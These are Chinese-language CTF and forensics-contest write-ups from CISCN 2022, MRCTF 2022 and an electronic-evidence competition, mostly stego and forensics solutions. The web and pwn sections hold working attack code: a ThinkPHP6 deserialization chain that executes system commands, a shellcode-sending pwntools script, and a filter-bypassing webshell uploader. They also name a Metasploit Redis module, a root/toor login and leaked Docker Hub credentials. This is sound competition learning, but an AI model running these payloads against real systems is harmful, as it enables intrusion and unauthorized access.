CISCN-2022 | partly Writeup

MISC

问卷调查

填写问卷即可。

ez_usb

筛选usb.src == "2.8.1"提取键盘流量

image.png

导出,然后处理流量包,

tshark -r test.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

利用脚本添加冒号:

#!/usr/bin/env python
#-*- coding: utf-8 -*-
info = '''
kali下运行:
tshark -r usb.pcap -T fields -e usb.capdata > usbdata.txt
提取流量包信息
然后通过该脚本可以过滤掉空格和其他内容,并且添加冒号
'''
print(info)

f_data  = input("请输入带处理txt文件的路径:")
shujian = int(input("鼠标流量信息请输入8,键盘流量请输入16:"))
f = open(f_data,'r')

# 整理到out.txt
with open('out.txt','w') as f_out:
    for i in f.readlines():
        s = i.strip()
        # 鼠标流量长度为8 ,键盘流量长度为16
        if len(s) == shujian:
            # 鼠标流量长度为8 ,键盘流量长度为16
            nsl = [s[j:j+2] for j in range(0,shujian,2)]
            ns = ":".join(nsl)
            f_out.write(ns)
            f_out.write('\n') 

然后对添加冒号的txt进行处理:

#!/usr/bin/env python
#-*- coding: utf-8 -*-
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []
keys = open('out.txt') #这里是加号冒号的数据
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass
print ('output :' + "".join(output))

得到压缩包,需要密码。

然后同理提取usb.src == "2.10.1"

脚本同上,获得密码:35c535765e50074a

解压得到flag

image.png

everylasting_night

用stegsolve打开,并在a2通道发现隐写痕迹(因为图中观察为竖着,所以选column)

根据题目提示lsb,用cloacked-pixel工具,

python2 lsb.py extract everlasting_night.png 1.txt

f78dcd383f1b574b

得到504b0304开头,利用hex编辑器

是一个加密的压缩包

Hex编辑器打开图片,文件尾发现字符串

FB 3E FC E4 CE AC 2F 54 45 C7 AE 17 E3 E9
69 AB

md5解密得到

即为压缩包密码,解压

将得到的文件,用hex编辑器打开,得到

删除文件头,并将文件另存为1.data,再放到gimp里看看

调整宽度,得到flag

babydisk

vmdk文件,用取证大师取出来一个音频wav和一个加密文件

LA25ARQGRJMYGN4JBZV.png

wav是deepsound隐写,但是有加密,用john爆破

#!/usr/bin/env python3
'''
deepsound2john extracts password hashes from audio files containing encrypted
data steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).
This method is known to work with files created by DeepSound 2.0.
Input files should be in .wav format. Hashes can be recovered from audio files
even after conversion from other formats, e.g.,
    ffmpeg -i input output.wav
Usage:
    python3 deepsound2john.py carrier.wav > hashes.txt
    john hashes.txt
This software is copyright (c) 2018 Ryan Govostes <rgovostes@gmail.com>, and
it is hereby released to the general public under the following terms:
Redistribution and use in source and binary forms, with or without
modification, are permitted.
'''

import logging
import os
import sys
import textwrap

def decode_data_low(buf):
  return buf[::2]

def decode_data_normal(buf):
  out = bytearray()
  for i in range(0, len(buf), 4):
    out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
  return out

def decode_data_high(buf):
  out = bytearray()
  for i in range(0, len(buf), 8):
    out.append((buf[i] & 3) << 6     | (buf[i + 2] & 3) << 4 \
             | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
  return out

def is_magic(buf):
  # This is a more efficient way of testing for the `DSCF` magic header without
  # decoding the whole buffer
  return (buf[0] & 15)  == (68 >> 4) and (buf[2]  & 15) == (68 & 15) \
     and (buf[4] & 15)  == (83 >> 4) and (buf[6]  & 15) == (83 & 15) \
     and (buf[8] & 15)  == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
     and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)

def is_wave(buf):
  return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'

def process_deepsound_file(f):
  bname = os.path.basename(f.name)
  logger = logging.getLogger(bname)

  # Check if it's a .wav file
  buf = f.read(12)
  if not is_wave(buf):
    global convert_warn
    logger.error('file not in .wav format')
    convert_warn = True
    return
  f.seek(0, os.SEEK_SET)

  # Scan for the marker...
  hdrsz = 104
  hdr = None

  while True:
    off = f.tell()
    buf = f.read(hdrsz)
    if len(buf) < hdrsz: break

    if is_magic(buf):
          hdr = decode_data_normal(buf)
          logger.info('found DeepSound header at offset %i', off)
          break

    f.seek(-hdrsz + 1, os.SEEK_CUR)

  if hdr is None:
    logger.warn('does not appear to be a DeepSound file')
    return

  # Check some header fields
  mode = hdr[4]
  encrypted = hdr[5]

  modes = {2: 'low', 4: 'normal', 8: 'high'}
  if mode in modes:
    logger.info('data is encoded in %s-quality mode', modes[mode])
  else:
    logger.error('unexpected data encoding mode %i', modes[mode])
    return

  if encrypted == 0:
    logger.warn('file is not encrypted')
    return
  elif encrypted != 1:
    logger.error('unexpected encryption flag %i', encrypted)
    return

  sha1 = hdr[6:6+20]
  print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))

if __name__ == '__main__':
  import argparse

  parser = argparse.ArgumentParser()
  parser.add_argument('--verbose', '-v', action='store_true')
  parser.add_argument('files', nargs='+', metavar='file',
    type=argparse.FileType('rb', bufsize=4096))
  args = parser.parse_args()

  if args.verbose:
    logging.basicConfig(level=logging.INFO)
  else:
    logging.basicConfig(level=logging.WARN)

  convert_warn = False

  for f in args.files:
    process_deepsound_file(f)

  if convert_warn:
    print(textwrap.dedent('''
    ---------------------------------------------------------------
    Some files were not in .wav format. Try converting them to .wav
    and try again. You can use: ffmpeg -i input output.wav
    ---------------------------------------------------------------
    '''.rstrip()), file=sys.stderr)
python3 deepsound2john.py 1.wav > flag.txt

RJYITBQXQNBH19.png

deepsound提取出1Z13YWXKHRRWU8WHDFB3.png

加密文件可以Veracrypt挂载,密码就是key.txt文件,有一个spiral.zip,但是中间16进制倒了,需要旋转。

旋转脚本

def generateMatrix(n):
    nums = [[0] * n for _ in range(n)]
    startx, starty = 0, 0               # 起始点
    loop, mid = n // 2, n // 2          # 迭代次数、n为奇数时,矩阵的中心点
    count = 1                           # 计数

    for offset in range(1, loop + 1) :      # 每循环一层偏移量加1,偏移量从1开始
        for i in range(starty, n - offset) :    # 从左至右,左闭右开
            nums[startx][i] = count
            count += 1
        for i in range(startx, n - offset) :    # 从上至下
            nums[i][n - offset] = count
            count += 1
        for i in range(n - offset, starty, -1) : # 从右至左
            nums[n - offset][i] = count
            count += 1
        for i in range(n - offset, startx, -1) : # 从下至上
            nums[i][starty] = count
            count += 1              
        startx += 1         # 更新起始点
        starty += 1

    if n % 2 != 0 : # n为奇数时,填充中心点
        nums[mid][mid] = count 
    return nums

array1 = [0]*7569
fr = open('spiral','rb').read()
s = sum(generateMatrix(87), [])

for i in range(len(s)):
    array1[i] = fr[s[i]-1]

fw = open('flag.zip','wb')
for i in array1:
    fw.write(bytes([i]))

fw.close()

image.png

image.png

长度49 七位一行读即可

ohhhhhhflag{701fa9fe-63f5-410b-93d4-119f96965be6}

CRYPTO

签到电台

image.png

image.png

按照密码提示,取前7*4位进行模十运算,然后S启动发包就有flag。

ISO9798

第一步常规的加延爆破,

a="ndEKcvMvOxibu075"
encode1="2f569d4264c5446cd0e4538fd6d3d949ec1c9949b155713dea3d455b4af469af"
str=string.ascii_letters+string.digits
for i1 in str:
    for i2 in str:
        for i3 in str:
            for i4 in str:
                plain=i1+i2+i3+i4+a
                encode=hashlib.sha256(plain.encode()).hexdigest()
                if encode==encode1:
                    print(plain)

取前四位输进去,之后让发送一个16进制的128比特位的随机数,不要带着0x

E0R9OYTNTUO0S7CPAN0.png

给了96位的16进制数

看到(rA||rB||B),96位数平均分成了三部分,之后把第二部分和第一部分组合在一起输入就出

基于挑战码的双向认证一、二、三

非预期:

前两个直接ssh连接,find / -name flag*,一个在flag1.txt,一个在flag2.txt

第三个修复了,但是有弱口令,root toor ,还是在flag2.txt

WEB

EZpop

西湖论剑原题

www.zip有源码泄露

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
    public function test()
    {
    unserialize($_POST['a']);
    }

}

有反序列化,有链子直接打:

<?php

namespace think {

    use think\route\Url;

    abstract class Model
    {
        private $lazySave;
        private $exists;
        protected $withEvent;
        protected $table;
        private $data;
        private $force;
        public function __construct()
        {
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->table = new Url();
            $this->force = true;
            $this->data = ["1"];
        }
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
        function __construct()
        {
            parent::__construct();
        }
    }
    $b = new Pivot();
    echo urlencode(serialize($b));
}

namespace think\route {

    use think\Middleware;
    use think\Validate;

    class Url
    {
        protected $url;
        protected $domain;
        protected $app;
        protected $route;
        public function __construct()
        {
            $this->url = 'a:';
            $this->domain = "<?php system('cat /flag.txt');?>";
            $this->app = new Middleware();
            $this->route = new Validate();
        }
    }
}

namespace think {

    use think\view\driver\Php;

    class Validate
    {
        public function __construct()
        {
            $this->type['getDomainBind'] = [new Php(), 'display'];
        }
    }
    class Middleware
    {
        public function __construct()
        {
            $this->request = "80";
        }
    }
}

namespace think\view\driver {
    class Php
    {
        public function __construct()
        {
        }
    }
}

image.png

REVERSE

baby_tree

题目给出了一个 swift ast文件。

p.s:原来从来没见过这种类型的逆向。

非常有趣,一开始蒙蔽了

思路类似于python 给出opcode字节码。鄙人不才采用手撕的办法得到源码

image-20220529134135336

这里定义了check函数。定义了两个变量 encode keyvalue

函数内定义了两个字符数组,b k 分别为 encode,keyvalue的值

image-20220529134521297

image-20220529134531104

数据来源在下方代码中有定义,这样就能推出如下部分源码

def check(encoded,keyValue):
    b= bytearray(encoded.encode('utf8'))
    k= bytearray(encoded.encode('utf8'))

image-20220529141356512

image-20220529141501662

结合着两处可以推出

 b[i + 1] = r3 ^ ((k[1] + (r0 >> 2)) & 0xff)

同理,我们恢复到

 for i in range(len(b)-4+1):
        r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
        b[i+0]=r2^((k[0]+(r0>>4))&0xff)
        b[i + 1] = r3 ^ ((k[1] + (r0 >> 2)) & 0xff)
        b[i + 2] = r0 ^ k[2]
        b[i + 3] = r1 ^ k[3]

根据下述两张图片,反写出

 k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]

image-20220529141724265

image-20220529141733405

encode数据

image-20220529134826403

keyvalue

image-20220529134855986

最终得到大致加密源码如下

def check(encoded, keyValue):
    b = bytearray(encoded.encode('utf8'))
    k = bytearray(keyValue.encode('utf8'))
    for i in range(len(b)-4+1):
        r0,r1,r2,r3=b[i],b[i+1],b[i+2],b[i+3]
        b[i+0]=r2^((k[0]+(r0>>4))&0xff)
        b[i + 1] = r3 ^ ((k[1] + (r0 >> 2)) & 0xff)
        b[i + 2] = r0 ^ k[2]
        b[i + 3] = r1 ^ k[3]
        k[0],k[1],k[2],k[3]=k[1],k[2],k[3],k[0]
    return b ==bytes[flag加密后数据]
check(flag,'345y')

根据加密源码写脚本解密即可得到flag

PWN

login-nomal

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
context.log_level='debug'
# shellcode = "mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi  push rsi  push 8 pop rsi add rsi, rsp push rsi  mov rsi, rsp xor edx, edx push SYS_execve  pop rax syscall"
shellcode = '''Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'''

p = remote('101.201.123.35',21476)

p.recvuntil('>>> ')
payload1 = 'opt:1\nmsg:ro0ta\n\r\n'
p.sendline(payload1)
p.recvuntil('>>> ')
payload2 = 'opt:2\nmsg:{0}A\n\r\n'.format(shellcode)

p.sendline(payload2)

p.interactive()

2022 MRCTF parly Writeup

Bonus

Just Hacking

Metasploit打Redis

Y4T4A7IABGR186T.png

使用exploit/linux/redis/redis_replication_cmd_exec这个模块,我尝试了好几次,前几次一直没打通

APGPAN1P78UJQ9RDR6.png

打通以后,找docker信息

DNALCE4QEOA_868Z98B.png

base64解密一下,就解出来用户名密码

mrctfbooker:WZ8npSK4T

dockerhub直接登录,可以找到alpine私有镜像

image.png

直接pull下来然后运行

1SEBEXRK_M_88YAJK4G.png

MISC

checkin

image.png

ctrl+s保存下来源码,在里面直接就能搜到逻辑,简单分析一下

 if (stats.bestStreak === 100) {
      alert("TVJDVEZ7VzNsYzBtZV9UMF9tcjN0Zl8yMDIyX1FXUX0=");

base64解密一下就可

MRCTF{W3lc0me_T0_mr3tf_2022_QWQ}

Pixel

import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2

def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h # 或N=w
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
                new_y = ((-a)*ori_x + ori_y) % N
                decode_image[new_x, new_y] = image[ori_x, ori_y]
    cv2.imshow("image",decode_image)
    cv2.waitKey(1000)
    cv2.imwrite('2.png',decode_image)
    return decode_image
aaa = imread('flag.png')
arnold_decode(aaa, 10, 22,20)

WEB

Webcheckin

让传php文件,但是对php文件内容有过滤,所以我们绕过一下,我用的异或字符,下面是字典脚本

<?php

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

这个是利用脚本

# -*- coding: utf-8 -*-
import urllib.parse
import requests

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

param=action("system")+action('ls /var/log')+";"
data = "<?php " + urllib.parse.unquote(param)

files = {'file': ('shell.php', data, 'application/octet-stream')}
res = requests.post(url="http://webshell.node3.mrctf.fun/", files=files)
res2 = requests.get(url="http://webshell.node3.mrctf.fun/"+res.text)
print(res2.text)

打通5分钟,找flag一上午。。。

var/log目录下

image.png

cat dpkg.log

image.png

第七届中国电子数据取证大赛 | 团体赛

  1. [填空题] 工地职员 A 计算机的修复密钥标识符是什么?(请以大写英文及阿拉伯数字输
    入答案,不要输入”-“) (1 分)

    打开取证大师,找到 bitlocker 解密选项,对该分区解密的位置自动跳出恢复
    密钥标记

    image.png

    image.png

  2. [填空题] 工地职员 A 计算机的修复密钥解除锁定是什么?(请以数字输入答案,不要输
    入”-“) (1 分)

    搜索 bitlocker,找到和密钥标识符一样的密钥快捷方式。跳转到该文件,并导出查看属性,但是并没有找到解密路径,怀疑密钥文件在别的镜像里,想到个人赛镜像的 bitlocker
    密钥就是在 FTP 服务器中找到的。再次搜索 bitlocker,找到密钥文件。

    image.png

    image.png

  3. [单选题] 工地职员 A 的计算机被什么程式加密? (1 分)
    A. Ransomware
    B. BitLocker
    C. AxCrypt
    D. PGP
    E. FileVault 2

    前面问到了,B

  4. [单选题] 工地职员 A 的孩子有可能正准备就读什么学校? (2 分)
    A. 小学
    B. 中学
    C. 幼儿园
    D. 大学

    image.png看浏览器浏览记录发现搜索幼儿园的记录,应该就是在上幼儿园。

  5. [多选题] 工地职员 A 并没有打开过哪一个档案? (2 分)
    A. Staff3.xlsx
    B. Staff4.xlsx
    C. Staff1.xlsx
    D. Staff2.xlsx
    E. BTC address.bmp

    image.png

  6. [填空题] 工地职员 A 的计算机被远程控制了多少分钟?(请以阿拉伯数字回答) (2 分)

    image.png

    算一下11min16s

  7. [单选题] 工地职员 A 的计算机被加密后,被要求存入的虚疑货币是什么? (1 分)
    A. 比特币现金
    B. 比特币
    C. 以太币
    D. 泰达币

    image.png

  8. image.png

  9. [填空题] 在工地职员 A 的计算机曾经打开过的 Excel 档案中,有多少人有可能在法律部
    门工作?(请以阿拉伯数字回答) (1 分)

    在staff1.xlsx

    image.png

  10. [多选题] 工地职员 B 的计算机在什么日期和时间被黑客控制? (2 分)
    A. 2021-10-19
    B. 2021-09-16
    C. 11:16:41 (UTC +8:00)
    D. 05:55:50 (UTC +8:00)
    E. 18:40:06 (UTC +8:00)

    看题,日期的话有两个,对比两个日期结果在windows历史活动日志里面最早是10-05,所以更大的可能是10-19,在10-19只有一个记录,是11:26,与11:16最接近,可能是有错吧。

    image.png

  11. [填空题] 工地职员 B 的计算机的MAC Address 是什么? (请以大写英文及数字输入答
    案) (1 分)

    image.png

  12. [填空题] 工地职员 B 的计算机用户 FaFa 的 Profile ID 是什么?(请以大写英文及数
    字输入答案,不要输入”-“) (1 分)

    image.png

    应该就是这个地方的SID

  13. [填空题] 工地职员 B 的办公室计算机的 Windows CD Key 是什么?(请以大写英文
    及数字输入答案,不要输入”-“) (1 分)

    方法二:计算机仿真进去后,使用 ProduKey 工具,对其进行自动化获取

    image.png

  14. [单选题] 检查过工地职员 B 的计算机登录档后(Window Registry),计算机感染了什
    么恶意软件? (2 分)
    A. Adware
    B. Worms
    C. Rootkits
    D. 没有感染任何恶意软件

    仿真起来后,把杀毒软件装上,全盘扫一下,没有恶意软件。

  15. [单选题] 工地职员 B 的计算机中被加密硬盘内的图片”_120778782_58759559.jpg”,
    有可能是从下列哪个的途径载入计算机? (1 分)

    网上下载

    image.png

  16. [多选题] 工地职员 B 的计算机 中被加密硬盘内的图片中,人物中衣着有什么颜色?
    (2 分)

    image.png

    image.png

    直接访问看看

    image.png

  17. [填空题] 工地职员 B 的计算机有多少个磁盘分区?(请以阿拉伯数字输入答案) (1 分)

    image.pngimage.png

  18. [填空题] 工地职员 B 的计算机硬盘分割表是什么?(答案请以首字母大写作答) (2 分)

    image.png

  19. [填空题] 在 工地职员 B 的计算机 Event Log 中最后登入时 services.exe 的 Process
    ID 是什么?(请以阿拉伯数字输入) (3 分)

    工地职工 B 最后登入时,查看这个时间点是 2021 年 10 月 19 日 11:26:07,找这
    个时间点附近的日志。讲事件
    使用取证大师搜索 services.exe 找到其日志,导出来分析一下,取证大师自动解析的我个
    人觉得不是很好看。导出后发现在晚于这个时间点,也有登录日志,用日期来排序,找到
    最后一个登录的日志。找到登录时间节点在 18:39:58 是最后一次登录,从日志分析出
    services.exe 的 pid 号是 16 进制的 0x27c,用计算器转成 10 进制为 636。

    image.png

    image.png

    image.png

  20. [填空题] 甚么 IP 曾经上传档案到网页服务器? (请以阿拉伯数字回答,不用输入”.“) (2
    分)

    image.png

    image.png

    不得不说,取证大师的优点就是比火眼在文件处理与磁盘分区上更清晰一点

  21. [多选题] 承上题,以下哪试档案曾被上传到网页服务器? (3 分)

    image.png

    image.png

  22. [单选题] 入侵者可能使用甚么漏洞进行入侵网页服务器? (1 分)
    A. 文件上传漏洞
    B. SQL 注入
    C. 跨站脚本攻击
    D. 格式化字符串弱点
    送分题目,根据前两道题得出,是渗透知识常识题。

  23. [多选题] 在网页服务器找到的所有文件档(doc 及 docx)中,有以下哪些文件制作人
    (Author)? (2 分)
    A. Kevin L. Brown
    B. Peter R. Lee
    C. Mary
    D. May
    E. Colin

    image.png

  24. [多选题] 在网页服务器中,哪个是可疑档案?它如何取得计算机控制权? (3 分)
    A. 可疑档案: b6778k-9.0.php
    B. 可疑档案: b374k-2.5.php
    C. 可疑档案: upload.php
    D. 透过浏览器远程管理取得计算机控制权
    E. 透过 PuTTY(远程登录工具) 取得计算机控制权

    B374k 是个很有名的大马,看看源代码也能看出来,大马是有 web 端的操作界面,搭一
    下环境,看看大马界面,所以应该是透过浏览器远程管理取得计算机控制权。

  25. [填空题] 在网页服务器中,运行可疑档案需要密码,其密码的哈希值(Hash Value)是
    甚么? (请以英文全大写及阿拉伯数字回答) (3 分)

    image.png

  26. [单选题] 在网页服务器中,可疑档案的译码函数是甚么? (2 分)

    image.png

    C. gzinflate(base64_decode($x))

  27. [填空题] 解压后的脚本档的档案大小是多少? (请以字节及阿拉伯数字回答) (3 分)

     

    image.png

  28. [多选题] 解压后的脚本文件内有甚么功能? (3 分)
    A. 编辑文件
    B. 删除文件
    C. 更改用户密码
    D. 加密文件
    E. 重新命名文件

    image.png

  29. [单选题] 解压后的脚本含有压缩功能,当中使用的解压方法是甚么? (2 分)

    image.png

  30. [多选题] 特普的电话中一张于 2021 年09 月 30 日 10:45:12 拍摄的相片包含以下哪些
    字? (1 分)

    image.png

    扫一下就有

  31. [多选题] 特普的电话中的 whatsapp 账号 85268421495@s.whatsapp.net 中,有哪些其他人的 WhatsApp 用户数据记录? ) (2 分)

  32. [单选题] 特普电话的热点分享密码是什么? (1 分)

    image.png

  33. [多选题] 特普于经纬度 22.278843, 114.165783,没有做什么? (2 分)

    A. 拍影片
    B. 拍照
    C. 使用 google map
    D. 在 Whatsapp 中分享实时位置
    在这个位置,他只进行了拍照,所以选择 ACD。

    image.png

  34. [多选题] 特普于电话中安装了一个可疑软件(版本为 2020033001),跟据该可疑软件的
    安装档,下列哪项描述正确? (2 分)

    A. 软件名称是安全防护
    B. 软件名称是安心回家
    C. 软件签名(signAlgorithm)以 SHA512withRSA 加密
    D. 封包名称(packageName)是 org.chromium.webapk.a5b80edf82b436506_v2

    image.png

    image.png

    image.png

  35. [多选题] 特普于电话中安装了一个可疑软件(版本为 2020033001),跟据该可疑软件的
    安装档,可疑软件中涉及以下安全许可? (2 分)

    A. android.permission.READ_SMS 读取短信内容
    B. android.permission.SEND_SMS 发送短信
    C. android.permission.READ_CONTACTS 读取联系人
    D. android.permission.BLUETOOTH 使用蓝牙
    E. android.permission.CLEAR_APP_CACHE 清除应用缓存

    image.png

  36. [填空题] 特普可能在电话中被可疑软件窃取了的验证码是什么? (请以英文全大写及阿
    拉伯数字回答) (2 分)

    image.png

    113476

  37. [填空题] 特普的计算机可能中了病毒,病毒的加壳(Packing)方法是甚么? (请以英文全
    大写作答) (2 分)

    image.png

    image.png

  38. [单选题] 特普的计算机可能中了病毒,病毒的编译工具是甚么? (2 分)
    A. GCC
    B. Borland
    C. TCC
    D. Microsoft Visual C/C++
    同上题方法,用脱壳工具脱壳,使用 PEID 查到编译的工具是 D 选项

    image.png

  39. [填空题] 特普的计算机可能中了病毒,病毒的编译者使用可能使用的账户名称是甚么?
    (请以英文全大写作答) (3 分)
    GPGF
    使用 ida pro 对已经脱壳的程序进行分析,找到病毒编译者使用的路径,找到他的账户名
    称。

  40. [单选题] 特普的计算机可能中了病毒,病毒的自我复制位置是甚么? (2 分)
    A. C:\Temp\temp.txt
    B. C:\Users\Desktop\malware.exe
    C. C:\Users\public\malware.exe
    D. C:\a.txt
    使用火绒剑/Process Monitor 对其进行抓取。

    image.png

    通过后面的字符串格式 %s%c%s%c%s%s%c%c%c%c%s%c%c 并配合前面的 push 堆栈
    指令,可以得出完整的目标路径 c:\\users\\public\\malware.exe

  41. [单选题] 特普的计算机可能中了病毒,病毒的修改登录文件位置是甚么? (3 分)
    A. HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    B. HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    C. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
    D.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Backg
    round

    使用 ida pro 进行分析找到。

    image.png

  42. 以下哪个不是病毒留下? (3 分)
    A. HI
    B. HELLO
    C. HOW ARE YOU
    D. GOODBYE

    使用 ida pro 进行逆向分析,只获得了 HELLO 的艺术文字图。

    image.png

  43. [单选题] 特普的计算机可能中了病毒,病毒扰乱文件目标文件名是甚么? (2 分)
    A. C:\Users\Documents\target.txt
    B. C:\Users\Desktop\target.txt
    C. C:\c.txt
    D. C:\temp.txt
    使用逆向分析工具 ida pro 找到该文件。

    image.png

  44. [单选题] 特普的计算机可能中了病毒,病毒扰乱文件方法是甚么? (3 分)
    A. + 3
    B. XOR 5
    C. + 4
    D. – 4

    image.png

  45. [填空题] 特普的计算机中,哪一个是 FTK Imager.exe 的程式编号(PID)? (请阿拉伯数
    字回答) (1 分)

    image.png

    image.png

  46. [多选题] 特普的计算机中,cmd.exe (PID: 4496) 它的执行日期及时间是? (1 分)

    image.png

  47. [填空题] 特普的计算机曾经以 FTP 对外.“)连接,连接的 IP 是? (请以阿拉伯数字回答,
    不用输入".") (2 分)

    这道题出现在内存题目中,第一反应使用 netscan 命令,对其连接的网络信息进行扫描,
    但是在这里无法找到确凿证据说明是 ftp 连接。前往计算机镜像进行查找。

    image.png

  48. [多选题] 特普的计算机中,以下哪一个指令于上述连接中有使用过? (3 分)
    A. get
    B. put
    C. delete
    D. bye
    E. quit

    没有确凿证据,结合 ftp 命令猜测答案。

    image.png

  49. [多选题] 在 Linux 的"Volatility" 中,哪一个指令可以知道此程式支持哪一个 Windows
    版本? (2 分)
    A. vol.py --profile
    B. vol.py --systeminfo
    C. vol.py --info
    D. vol.py --verinfo

    image.png

  50. [填空题] 常威手机中的Telegram有可能是在2021 年9 月24日 12 时44分58秒 (UTC
    +8) 首次下载的。(请以阿拉伯数字输入答案) (2 分)

    image.png

  51. [填空题] 常威手机曾经连接的无人机名称是什么?(请以英文全大写及阿拉伯数字回答)
    (1 分)

    image.png

  52. [填空题] 常威手机中,档案“dji1633936161416.mp4”的解像度是 ____ (例
    如是 1920 x 1280,请输入 19201280)。 (1 分)

    搜索该视频,很容易就找到了,但是 cellebrite 不太友好,居然没有视频分辨率,导出后
    再查看详细信息,得到分辨率信息。

